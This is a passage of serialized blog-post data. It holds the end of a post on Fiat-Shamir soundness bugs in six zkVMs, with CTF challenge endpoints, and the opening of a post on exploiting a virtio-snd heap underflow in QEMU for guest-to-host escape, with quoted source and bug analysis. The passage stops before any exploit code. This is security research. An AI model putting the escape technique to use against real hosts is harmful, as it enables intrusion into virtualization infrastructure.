:230,"props":125253,"children":125255},{"className":125254},[6529],[125256],{"type":29,"value":125257},"≥",{"type":23,"tag":230,"props":125259,"children":125261},{"className":125260,"style":6524},[6426],[],{"type":23,"tag":230,"props":125263,"children":125265},{"className":125264},[6334],[125266,125270],{"type":23,"tag":230,"props":125267,"children":125269},{"className":125268,"style":95857},[6339],[],{"type":23,"tag":230,"props":125271,"children":125273},{"className":125272},[6345],[125274],{"type":29,"value":6348},{"type":29,"value":125276},". Good luck!",{"type":23,"tag":59,"props":125278,"children":125280},{"id":125279},"jolt",[125281],{"type":29,"value":109639},{"type":23,"tag":32,"props":125283,"children":125284},{},[125285,125287,125298,125300],{"type":29,"value":125286},"See ",{"type":23,"tag":181,"props":125288,"children":125295},{"href":125289,"target":125290,"rel":125291,"download":125294},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[125292,125293],"noopener","noreferrer","handout_jolt.tar.gz",[125296],{"type":29,"value":125297},"the handout",{"type":29,"value":125299}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":23,"tag":71,"props":125301,"children":125303},{"className":125302},[],[125304],{"type":29,"value":125305},"jolt.chal.osec.io:8960",{"type":23,"tag":59,"props":125307,"children":125309},{"id":125308},"nexus-1",[125310],{"type":29,"value":109645},{"type":23,"tag":32,"props":125312,"children":125313},{},[125314,125315,125322,125323],{"type":29,"value":125286},{"type":23,"tag":181,"props":125316,"children":125320},{"href":125317,"target":125290,"rel":125318,"download":125319},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[125292,125293],"handout_nexus.tar.gz",[125321],{"type":29,"value":125297},{"type":29,"value":125299},{"type":23,"tag":71,"props":125324,"children":125326},{"className":125325},[],[125327],{"type":29,"value":125328},"nexus.chal.osec.io:8950",{"type":23,"tag":32,"props":125330,"children":125331},{},[125332],{"type":29,"value":125333},"Now you should have enough margin to prove Fermat wrong.",{"type":23,"tag":21113,"props":125335,"children":125336},{},[],{"type":23,"tag":24,"props":125338,"children":125340},{"id":125339},"takeaways",[125341],{"type":29,"value":125342},"Takeaways",{"type":23,"tag":32,"props":125344,"children":125345},{},[125346],{"type":29,"value":125347},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":23,"tag":32,"props":125349,"children":125350},{},[125351],{"type":29,"value":125352},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":23,"tag":32,"props":125354,"children":125355},{},[125356,125361],{"type":23,"tag":2302,"props":125357,"children":125358},{},[125359],{"type":29,"value":125360},"For the ZK ecosystem:",{"type":29,"value":125362}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":23,"tag":32,"props":125364,"children":125365},{},[125366],{"type":29,"value":125367},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":23,"tag":32,"props":125369,"children":125370},{},[125371,125376],{"type":23,"tag":2302,"props":125372,"children":125373},{},[125374],{"type":29,"value":125375},"For auditors:",{"type":29,"value":125377}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":23,"tag":32,"props":125379,"children":125380},{},[125381,125386],{"type":23,"tag":2302,"props":125382,"children":125383},{},[125384],{"type":29,"value":125385},"For builders:",{"type":29,"value":125387}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":23,"tag":5178,"props":125389,"children":125390},{},[125391],{"type":29,"value":5182},{"title":7,"searchDepth":243,"depth":243,"links":125393},[125394,125395,125398,125404,125405,125413,125419,125422,125423,125427],{"id":109690,"depth":243,"text":109693},{"id":109832,"depth":243,"text":109835,"children":125396},[125397],{"id":109838,"depth":252,"text":109841},{"id":110267,"depth":243,"text":110270,"children":125399},[125400,125401,125402,125403],{"id":110278,"depth":252,"text":110281},{"id":110466,"depth":252,"text":110469},{"id":113847,"depth":252,"text":113850},{"id":115061,"depth":252,"text":115064},{"id":116698,"depth":243,"text":116701},{"id":117204,"depth":243,"text":117207,"children":125406},[125407,125408,125409,125410,125411,125412],{"id":117226,"depth":252,"text":117229},{"id":118551,"depth":252,"text":109645},{"id":119687,"depth":252,"text":119690},{"id":120355,"depth":252,"text":120358},{"id":123011,"depth":252,"text":123014},{"id":123565,"depth":252,"text":109669},{"id":124494,"depth":243,"text":124497,"children":125414},[125415,125416,125417,125418],{"id":124505,"depth":252,"text":124508},{"id":124675,"depth":252,"text":124678},{"id":124699,"depth":252,"text":124702},{"id":124715,"depth":252,"text":124718},{"id":124729,"depth":243,"text":124732,"children":125420},[125421],{"id":124735,"depth":252,"text":124738},{"id":124769,"depth":243,"text":124772},{"id":124946,"depth":243,"text":109682,"children":125424},[125425,125426],{"id":125279,"depth":252,"text":109639},{"id":125308,"depth":252,"text":109645},{"id":125339,"depth":243,"text":125342},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":125432,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":125433,"description":125434,"date":125435,"author":125436,"image":125437,"isFeatured":18,"onBlogPage":18,"tags":125439,"body":125442,"_type":5202,"_id":133728,"_source":5204,"_file":133729,"_stem":133730,"_extension":5207},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":125438,"width":99047,"height":16},"/posts/virtio-snd-qemu-0day/title.png",[125440,125441],"qemu","heap-overflow",{"type":20,"children":125443,"toc":133710},[125444,125449,125454,125459,125465,125470,125475,125483,125489,125501,125505,125510,125518,125523,125529,125534,125547,126157,126192,126237,126271,126306,126441,126489,126495,126500,127256,127301,127337,127372,127437,127457,127907,127954,127957,127962,128027,128053,128075,128079,128084,128089,128095,128100,128105,128110,128116,128129,128135,128140,128148,128218,128223,128229,128242,128468,128531,128550,128933,128938,128971,128976,129252,129264,129282,129561,129573,129576,129611,129616,129622,129634,129646,129651,129656,129666,129701,130318,130350,130361,130397,130410,130416,130428,130436,130462,130467,130500,130541,130547,130566,130604,130612,130661,130666,130715,130720,130728,130815,130821,130860,130872,130880,130898,130917,130925,130937,130945,130964,130972,130983,130991,131002,131010,131023,131031,131037,131042,131055,131063,131081,131089,131101,131106,131114,131150,131183,131190,131224,131232,131237,131243,131255,131266,131545,131605,131673,131681,131715,132319,132330,132338,132344,132349,132360,133114,133147,133159,133245,133265,133474,133521,133533,133539,133558,133584,133612,133628,133655,133658,133678,133692,133696,133701,133706],{"type":23,"tag":32,"props":125445,"children":125446},{},[125447],{"type":29,"value":125448},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":23,"tag":24,"props":125450,"children":125451},{"id":125440},[125452],{"type":29,"value":125453},"QEMU",{"type":23,"tag":32,"props":125455,"children":125456},{},[125457],{"type":29,"value":125458},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":23,"tag":59,"props":125460,"children":125462},{"id":125461},"virtio-devices",[125463],{"type":29,"value":125464},"Virtio Devices",{"type":23,"tag":32,"props":125466,"children":125467},{},[125468],{"type":29,"value":125469},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":23,"tag":32,"props":125471,"children":125472},{},[125473],{"type":29,"value":125474},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":23,"tag":32,"props":125476,"children":125477},{},[125478],{"type":23,"tag":93,"props":125479,"children":125482},{"alt":125480,"src":125481},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":23,"tag":24,"props":125484,"children":125486},{"id":125485},"finding-a-bug",[125487],{"type":29,"value":125488},"Finding a Bug",{"type":23,"tag":32,"props":125490,"children":125491},{},[125492,125494,125500],{"type":29,"value":125493},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":23,"tag":71,"props":125495,"children":125497},{"className":125496},[],[125498],{"type":29,"value":125499},"virtio-snd",{"type":29,"value":312},{"type":23,"tag":59,"props":125502,"children":125503},{"id":125499},[125504],{"type":29,"value":125499},{"type":23,"tag":32,"props":125506,"children":125507},{},[125508],{"type":29,"value":125509},"From the official documentation:",{"type":23,"tag":5272,"props":125511,"children":125512},{},[125513],{"type":23,"tag":32,"props":125514,"children":125515},{},[125516],{"type":29,"value":125517},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host machine.",{"type":23,"tag":32,"props":125519,"children":125520},{},[125521],{"type":29,"value":125522},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":23,"tag":192,"props":125524,"children":125526},{"id":125525},"audio-data-buffers",[125527],{"type":29,"value":125528},"Audio Data Buffers",{"type":23,"tag":32,"props":125530,"children":125531},{},[125532],{"type":29,"value":125533},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":23,"tag":32,"props":125535,"children":125536},{},[125537,125539,125545],{"type":29,"value":125538},"For example, the following is ",{"type":23,"tag":71,"props":125540,"children":125542},{"className":125541},[],[125543],{"type":29,"value":125544},"virtio_snd_handle_rx_xfer",{"type":29,"value":125546},", which is responsible for allocating buffers for an input audio stream:",{"type":23,"tag":220,"props":125548,"children":125550},{"code":125549,"language":2148,"meta":7,"className":18839,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtQueueElement *elem;\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));     // [1]\n        if (!elem) {\n            break;\n        }\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);                  // [2]\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n            buffer->elem = elem;\n            buffer->vq = vq;\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n        }\n        continue;\n\n        [...]\n}\n\n",[125551],{"type":23,"tag":71,"props":125552,"children":125553},{"__ignoreMap":7},[125554,125561,125569,125577,125584,125592,125600,125608,125656,125663,125680,125687,125694,125706,125723,125730,125766,125786,125797,125804,125811,125819,125826,125859,125918,125936,125975,126000,126024,126052,126079,126117,126124,126136,126143,126150],{"type":23,"tag":230,"props":125555,"children":125556},{"class":232,"line":233},[125557],{"type":23,"tag":230,"props":125558,"children":125559},{"style":237},[125560],{"type":29,"value":51138},{"type":23,"tag":230,"props":125562,"children":125563},{"class":232,"line":243},[125564],{"type":23,"tag":230,"props":125565,"children":125566},{"style":237},[125567],{"type":29,"value":125568}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":23,"tag":230,"props":125570,"children":125571},{"class":232,"line":252},[125572],{"type":23,"tag":230,"props":125573,"children":125574},{"style":237},[125575],{"type":29,"value":125576}," * respective streams for consumption.\n",{"type":23,"tag":230,"props":125578,"children":125579},{"class":232,"line":280},[125580],{"type":23,"tag":230,"props":125581,"children":125582},{"style":237},[125583],{"type":29,"value":21802},{"type":23,"tag":230,"props":125585,"children":125586},{"class":232,"line":334},[125587],{"type":23,"tag":230,"props":125588,"children":125589},{"style":237},[125590],{"type":29,"value":125591}," * @vdev: VirtIOSound device\n",{"type":23,"tag":230,"props":125593,"children":125594},{"class":232,"line":371},[125595],{"type":23,"tag":230,"props":125596,"children":125597},{"style":237},[125598],{"type":29,"value":125599}," * @vq: rx virtqueue\n",{"type":23,"tag":230,"props":125601,"children":125602},{"class":232,"line":391},[125603],{"type":23,"tag":230,"props":125604,"children":125605},{"style":237},[125606],{"type":29,"value":125607}," */\n",{"type":23,"tag":230,"props":125609,"children":125610},{"class":232,"line":400},[125611,125615,125619,125624,125629,125633,125638,125643,125647,125652],{"type":23,"tag":230,"props":125612,"children":125613},{"style":256},[125614],{"type":29,"value":52817},{"type":23,"tag":230,"props":125616,"children":125617},{"style":256},[125618],{"type":29,"value":52822},{"type":23,"tag":230,"props":125620,"children":125621},{"style":294},[125622],{"type":29,"value":125623}," virtio_snd_handle_rx_xfer",{"type":23,"tag":230,"props":125625,"children":125626},{"style":274},[125627],{"type":29,"value":125628},"(VirtIODevice ",{"type":23,"tag":230,"props":125630,"children":125631},{"style":268},[125632],{"type":29,"value":6909},{"type":23,"tag":230,"props":125634,"children":125635},{"style":262},[125636],{"type":29,"value":125637},"vdev",{"type":23,"tag":230,"props":125639,"children":125640},{"style":274},[125641],{"type":29,"value":125642},", VirtQueue ",{"type":23,"tag":230,"props":125644,"children":125645},{"style":268},[125646],{"type":29,"value":6909},{"type":23,"tag":230,"props":125648,"children":125649},{"style":262},[125650],{"type":29,"value":125651},"vq",{"type":23,"tag":230,"props":125653,"children":125654},{"style":274},[125655],{"type":29,"value":4516},{"type":23,"tag":230,"props":125657,"children":125658},{"class":232,"line":444},[125659],{"type":23,"tag":230,"props":125660,"children":125661},{"style":274},[125662],{"type":29,"value":13211},{"type":23,"tag":230,"props":125664,"children":125665},{"class":232,"line":453},[125666,125671,125675],{"type":23,"tag":230,"props":125667,"children":125668},{"style":274},[125669],{"type":29,"value":125670},"    VirtQueueElement ",{"type":23,"tag":230,"props":125672,"children":125673},{"style":268},[125674],{"type":29,"value":6909},{"type":23,"tag":230,"props":125676,"children":125677},{"style":274},[125678],{"type":29,"value":125679},"elem;\n",{"type":23,"tag":230,"props":125681,"children":125682},{"class":232,"line":462},[125683],{"type":23,"tag":230,"props":125684,"children":125685},{"style":274},[125686],{"type":29,"value":106580},{"type":23,"tag":230,"props":125688,"children":125689},{"class":232,"line":471},[125690],{"type":23,"tag":230,"props":125691,"children":125692},{"emptyLinePlaceholder":18},[125693],{"type":29,"value":459},{"type":23,"tag":230,"props":125695,"children":125696},{"class":232,"line":500},[125697,125701],{"type":23,"tag":230,"props":125698,"children":125699},{"style":866},[125700],{"type":29,"value":5371},{"type":23,"tag":230,"props":125702,"children":125703},{"style":274},[125704],{"type":29,"value":125705}," (;;) {\n",{"type":23,"tag":230,"props":125707,"children":125708},{"class":232,"line":514},[125709,125714,125718],{"type":23,"tag":230,"props":125710,"children":125711},{"style":274},[125712],{"type":29,"value":125713},"        VirtIOSoundPCMStream ",{"type":23,"tag":230,"props":125715,"children":125716},{"style":268},[125717],{"type":29,"value":6909},{"type":23,"tag":230,"props":125719,"children":125720},{"style":274},[125721],{"type":29,"value":125722},"stream;\n",{"type":23,"tag":230,"props":125724,"children":125725},{"class":232,"line":897},[125726],{"type":23,"tag":230,"props":125727,"children":125728},{"emptyLinePlaceholder":18},[125729],{"type":29,"value":459},{"type":23,"tag":230,"props":125731,"children":125732},{"class":232,"line":960},[125733,125738,125742,125747,125752,125756,125761],{"type":23,"tag":230,"props":125734,"children":125735},{"style":274},[125736],{"type":29,"value":125737},"        elem ",{"type":23,"tag":230,"props":125739,"children":125740},{"style":268},[125741],{"type":29,"value":863},{"type":23,"tag":230,"props":125743,"children":125744},{"style":294},[125745],{"type":29,"value":125746}," virtqueue_pop",{"type":23,"tag":230,"props":125748,"children":125749},{"style":274},[125750],{"type":29,"value":125751},"(vq, ",{"type":23,"tag":230,"props":125753,"children":125754},{"style":256},[125755],{"type":29,"value":57101},{"type":23,"tag":230,"props":125757,"children":125758},{"style":274},[125759],{"type":29,"value":125760},"(VirtQueueElement));",{"type":23,"tag":230,"props":125762,"children":125763},{"style":237},[125764],{"type":29,"value":125765},"     // [1]\n",{"type":23,"tag":230,"props":125767,"children":125768},{"class":232,"line":969},[125769,125773,125777,125781],{"type":23,"tag":230,"props":125770,"children":125771},{"style":866},[125772],{"type":29,"value":5611},{"type":23,"tag":230,"props":125774,"children":125775},{"style":274},[125776],{"type":29,"value":664},{"type":23,"tag":230,"props":125778,"children":125779},{"style":268},[125780],{"type":29,"value":22936},{"type":23,"tag":230,"props":125782,"children":125783},{"style":274},[125784],{"type":29,"value":125785},"elem) {\n",{"type":23,"tag":230,"props":125787,"children":125788},{"class":232,"line":4526},[125789,125793],{"type":23,"tag":230,"props":125790,"children":125791},{"style":866},[125792],{"type":29,"value":5637},{"type":23,"tag":230,"props":125794,"children":125795},{"style":274},[125796],{"type":29,"value":511},{"type":23,"tag":230,"props":125798,"children":125799},{"class":232,"line":4534},[125800],{"type":23,"tag":230,"props":125801,"children":125802},{"style":274},[125803],{"type":29,"value":5686},{"type":23,"tag":230,"props":125805,"children":125806},{"class":232,"line":4542},[125807],{"type":23,"tag":230,"props":125808,"children":125809},{"emptyLinePlaceholder":18},[125810],{"type":29,"value":459},{"type":23,"tag":230,"props":125812,"children":125813},{"class":232,"line":4559},[125814],{"type":23,"tag":230,"props":125815,"children":125816},{"style":274},[125817],{"type":29,"value":125818},"        [...]\n",{"type":23,"tag":230,"props":125820,"children":125821},{"class":232,"line":4587},[125822],{"type":23,"tag":230,"props":125823,"children":125824},{"emptyLinePlaceholder":18},[125825],{"type":29,"value":459},{"type":23,"tag":230,"props":125827,"children":125828},{"class":232,"line":4595},[125829,125834,125838,125842,125846,125850,125855],{"type":23,"tag":230,"props":125830,"children":125831},{"style":294},[125832],{"type":29,"value":125833},"        WITH_QEMU_LOCK_GUARD",{"type":23,"tag":230,"props":125835,"children":125836},{"style":274},[125837],{"type":29,"value":302},{"type":23,"tag":230,"props":125839,"children":125840},{"style":268},[125841],{"type":29,"value":5448},{"type":23,"tag":230,"props":125843,"children":125844},{"style":262},[125845],{"type":29,"value":920},{"type":23,"tag":230,"props":125847,"children":125848},{"style":274},[125849],{"type":29,"value":16084},{"type":23,"tag":230,"props":125851,"children":125852},{"style":262},[125853],{"type":29,"value":125854},"queue_mutex",{"type":23,"tag":230,"props":125856,"children":125857},{"style":274},[125858],{"type":29,"value":827},{"type":23,"tag":230,"props":125860,"children":125861},{"class":232,"line":4619},[125862,125867,125871,125876,125880,125884,125888,125893,125897,125901,125905,125910,125914],{"type":23,"tag":230,"props":125863,"children":125864},{"style":274},[125865],{"type":29,"value":125866},"            size ",{"type":23,"tag":230,"props":125868,"children":125869},{"style":268},[125870],{"type":29,"value":863},{"type":23,"tag":230,"props":125872,"children":125873},{"style":294},[125874],{"type":29,"value":125875}," iov_size",{"type":23,"tag":230,"props":125877,"children":125878},{"style":274},[125879],{"type":29,"value":302},{"type":23,"tag":230,"props":125881,"children":125882},{"style":262},[125883],{"type":29,"value":53837},{"type":23,"tag":230,"props":125885,"children":125886},{"style":274},[125887],{"type":29,"value":16084},{"type":23,"tag":230,"props":125889,"children":125890},{"style":262},[125891],{"type":29,"value":125892},"in_sg",{"type":23,"tag":230,"props":125894,"children":125895},{"style":274},[125896],{"type":29,"value":684},{"type":23,"tag":230,"props":125898,"children":125899},{"style":262},[125900],{"type":29,"value":53837},{"type":23,"tag":230,"props":125902,"children":125903},{"style":274},[125904],{"type":29,"value":16084},{"type":23,"tag":230,"props":125906,"children":125907},{"style":262},[125908],{"type":29,"value":125909},"in_num",{"type":23,"tag":230,"props":125911,"children":125912},{"style":274},[125913],{"type":29,"value":703},{"type":23,"tag":230,"props":125915,"children":125916},{"style":268},[125917],{"type":29,"value":52634},{"type":23,"tag":230,"props":125919,"children":125920},{"class":232,"line":4627},[125921,125926,125931],{"type":23,"tag":230,"props":125922,"children":125923},{"style":256},[125924],{"type":29,"value":125925},"                sizeof",{"type":23,"tag":230,"props":125927,"children":125928},{"style":274},[125929],{"type":29,"value":125930},"(virtio_snd_pcm_status);",{"type":23,"tag":230,"props":125932,"children":125933},{"style":237},[125934],{"type":29,"value":125935},"                  // [2]\n",{"type":23,"tag":230,"props":125937,"children":125938},{"class":232,"line":4659},[125939,125944,125948,125953,125957,125961,125966,125970],{"type":23,"tag":230,"props":125940,"children":125941},{"style":274},[125942],{"type":29,"value":125943},"            buffer ",{"type":23,"tag":230,"props":125945,"children":125946},{"style":268},[125947],{"type":29,"value":863},{"type":23,"tag":230,"props":125949,"children":125950},{"style":294},[125951],{"type":29,"value":125952}," g_malloc0",{"type":23,"tag":230,"props":125954,"children":125955},{"style":274},[125956],{"type":29,"value":302},{"type":23,"tag":230,"props":125958,"children":125959},{"style":256},[125960],{"type":29,"value":57101},{"type":23,"tag":230,"props":125962,"children":125963},{"style":274},[125964],{"type":29,"value":125965},"(VirtIOSoundPCMBuffer) ",{"type":23,"tag":230,"props":125967,"children":125968},{"style":268},[125969],{"type":29,"value":6719},{"type":23,"tag":230,"props":125971,"children":125972},{"style":274},[125973],{"type":29,"value":125974}," size);\n",{"type":23,"tag":230,"props":125976,"children":125977},{"class":232,"line":4671},[125978,125983,125987,125991,125995],{"type":23,"tag":230,"props":125979,"children":125980},{"style":262},[125981],{"type":29,"value":125982},"            buffer",{"type":23,"tag":230,"props":125984,"children":125985},{"style":274},[125986],{"type":29,"value":16084},{"type":23,"tag":230,"props":125988,"children":125989},{"style":262},[125990],{"type":29,"value":53837},{"type":23,"tag":230,"props":125992,"children":125993},{"style":268},[125994],{"type":29,"value":271},{"type":23,"tag":230,"props":125996,"children":125997},{"style":274},[125998],{"type":29,"value":125999}," elem;\n",{"type":23,"tag":230,"props":126001,"children":126002},{"class":232,"line":4688},[126003,126007,126011,126015,126019],{"type":23,"tag":230,"props":126004,"children":126005},{"style":262},[126006],{"type":29,"value":125982},{"type":23,"tag":230,"props":126008,"children":126009},{"style":274},[126010],{"type":29,"value":16084},{"type":23,"tag":230,"props":126012,"children":126013},{"style":262},[126014],{"type":29,"value":125651},{"type":23,"tag":230,"props":126016,"children":126017},{"style":268},[126018],{"type":29,"value":271},{"type":23,"tag":230,"props":126020,"children":126021},{"style":274},[126022],{"type":29,"value":126023}," vq;\n",{"type":23,"tag":230,"props":126025,"children":126026},{"class":232,"line":4701},[126027,126031,126035,126040,126044,126048],{"type":23,"tag":230,"props":126028,"children":126029},{"style":262},[126030],{"type":29,"value":125982},{"type":23,"tag":230,"props":126032,"children":126033},{"style":274},[126034],{"type":29,"value":16084},{"type":23,"tag":230,"props":126036,"children":126037},{"style":262},[126038],{"type":29,"value":126039},"size",{"type":23,"tag":230,"props":126041,"children":126042},{"style":268},[126043],{"type":29,"value":271},{"type":23,"tag":230,"props":126045,"children":126046},{"style":5149},[126047],{"type":29,"value":5386},{"type":23,"tag":230,"props":126049,"children":126050},{"style":274},[126051],{"type":29,"value":511},{"type":23,"tag":230,"props":126053,"children":126054},{"class":232,"line":4724},[126055,126059,126063,126067,126071,126075],{"type":23,"tag":230,"props":126056,"children":126057},{"style":262},[126058],{"type":29,"value":125982},{"type":23,"tag":230,"props":126060,"children":126061},{"style":274},[126062],{"type":29,"value":16084},{"type":23,"tag":230,"props":126064,"children":126065},{"style":262},[126066],{"type":29,"value":16228},{"type":23,"tag":230,"props":126068,"children":126069},{"style":268},[126070],{"type":29,"value":271},{"type":23,"tag":230,"props":126072,"children":126073},{"style":5149},[126074],{"type":29,"value":5386},{"type":23,"tag":230,"props":126076,"children":126077},{"style":274},[126078],{"type":29,"value":511},{"type":23,"tag":230,"props":126080,"children":126081},{"class":232,"line":4741},[126082,126087,126091,126095,126099,126103,126108,126113],{"type":23,"tag":230,"props":126083,"children":126084},{"style":294},[126085],{"type":29,"value":126086},"            QSIMPLEQ_INSERT_TAIL",{"type":23,"tag":230,"props":126088,"children":126089},{"style":274},[126090],{"type":29,"value":302},{"type":23,"tag":230,"props":126092,"children":126093},{"style":268},[126094],{"type":29,"value":5448},{"type":23,"tag":230,"props":126096,"children":126097},{"style":262},[126098],{"type":29,"value":920},{"type":23,"tag":230,"props":126100,"children":126101},{"style":274},[126102],{"type":29,"value":16084},{"type":23,"tag":230,"props":126104,"children":126105},{"style":262},[126106],{"type":29,"value":126107},"queue",{"type":23,"tag":230,"props":126109,"children":126110},{"style":274},[126111],{"type":29,"value":126112},", buffer, entry);",{"type":23,"tag":230,"props":126114,"children":126115},{"style":237},[126116],{"type":29,"value":54402},{"type":23,"tag":230,"props":126118,"children":126119},{"class":232,"line":4759},[126120],{"type":23,"tag":230,"props":126121,"children":126122},{"style":274},[126123],{"type":29,"value":5686},{"type":23,"tag":230,"props":126125,"children":126126},{"class":232,"line":4768},[126127,126132],{"type":23,"tag":230,"props":126128,"children":126129},{"style":866},[126130],{"type":29,"value":126131},"        continue",{"type":23,"tag":230,"props":126133,"children":126134},{"style":274},[126135],{"type":29,"value":511},{"type":23,"tag":230,"props":126137,"children":126138},{"class":232,"line":4776},[126139],{"type":23,"tag":230,"props":126140,"children":126141},{"emptyLinePlaceholder":18},[126142],{"type":29,"value":459},{"type":23,"tag":230,"props":126144,"children":126145},{"class":232,"line":4784},[126146],{"type":23,"tag":230,"props":126147,"children":126148},{"style":274},[126149],{"type":29,"value":125818},{"type":23,"tag":230,"props":126151,"children":126152},{"class":232,"line":4792},[126153],{"type":23,"tag":230,"props":126154,"children":126155},{"style":274},[126156],{"type":29,"value":975},{"type":23,"tag":32,"props":126158,"children":126159},{},[126160,126162,126168,126170,126176,126178,126183,126184,126190],{"type":29,"value":126161},"At ",{"type":23,"tag":71,"props":126163,"children":126165},{"className":126164},[],[126166],{"type":29,"value":126167},"[1]",{"type":29,"value":126169},", a ",{"type":23,"tag":71,"props":126171,"children":126173},{"className":126172},[],[126174],{"type":29,"value":126175},"VirtQueueElement *elem",{"type":29,"value":126177}," is popped from the virtqueue. It contains the ",{"type":23,"tag":71,"props":126179,"children":126181},{"className":126180},[],[126182],{"type":29,"value":125892},{"type":29,"value":112},{"type":23,"tag":71,"props":126185,"children":126187},{"className":126186},[],[126188],{"type":29,"value":126189},"out_sg",{"type":29,"value":126191}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":23,"tag":32,"props":126193,"children":126194},{},[126195,126197,126203,126205,126211,126213,126219,126221,126227,126229,126235],{"type":29,"value":126196},"Further at ",{"type":23,"tag":71,"props":126198,"children":126200},{"className":126199},[],[126201],{"type":29,"value":126202},"[2]",{"type":29,"value":126204},", the device computes the size of the data buffer as ",{"type":23,"tag":71,"props":126206,"children":126208},{"className":126207},[],[126209],{"type":29,"value":126210},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":29,"value":126212},". That value is then used in the allocation: ",{"type":23,"tag":71,"props":126214,"children":126216},{"className":126215},[],[126217],{"type":29,"value":126218},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":29,"value":126220},". Finally, at ",{"type":23,"tag":71,"props":126222,"children":126224},{"className":126223},[],[126225],{"type":29,"value":126226},"[3]",{"type":29,"value":126228},", the newly allocated buffer is appended to the ",{"type":23,"tag":71,"props":126230,"children":126232},{"className":126231},[],[126233],{"type":29,"value":126234},"stream->queue",{"type":29,"value":126236}," linked list.",{"type":23,"tag":32,"props":126238,"children":126239},{},[126240,126242,126247,126249,126254,126256,126261,126263,126269],{"type":29,"value":126241},"Because both the ",{"type":23,"tag":71,"props":126243,"children":126245},{"className":126244},[],[126246],{"type":29,"value":125892},{"type":29,"value":126248}," iovec and the ",{"type":23,"tag":71,"props":126250,"children":126252},{"className":126251},[],[126253],{"type":29,"value":125909},{"type":29,"value":126255}," field are guest-controlled, and there is no check that the total ",{"type":23,"tag":71,"props":126257,"children":126259},{"className":126258},[],[126260],{"type":29,"value":125892},{"type":29,"value":126262}," size is at least ",{"type":23,"tag":71,"props":126264,"children":126266},{"className":126265},[],[126267],{"type":29,"value":126268},"sizeof(virtio_snd_pcm_status)",{"type":29,"value":126270},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":23,"tag":32,"props":126272,"children":126273},{},[126274,126276,126281,126283,126289,126291,126297,126299,126305],{"type":29,"value":126275},"From the guest driver, we can provide an empty ",{"type":23,"tag":71,"props":126277,"children":126279},{"className":126278},[],[126280],{"type":29,"value":125892},{"type":29,"value":126282}," iovec. In that case, the calculation becomes ",{"type":23,"tag":71,"props":126284,"children":126286},{"className":126285},[],[126287],{"type":29,"value":126288},"0 - sizeof(virtio_snd_pcm_status)",{"type":29,"value":126290},", so the allocation size effectively becomes ",{"type":23,"tag":71,"props":126292,"children":126294},{"className":126293},[],[126295],{"type":29,"value":126296},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":29,"value":126298},". Given the definition of ",{"type":23,"tag":71,"props":126300,"children":126302},{"className":126301},[],[126303],{"type":29,"value":126304},"VirtIOSoundPCMBuffer",{"type":29,"value":218},{"type":23,"tag":220,"props":126307,"children":126309},{"code":126308,"language":2148,"meta":7,"className":18839,"style":7},"struct VirtIOSoundPCMBuffer {\n    QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n    VirtQueueElement 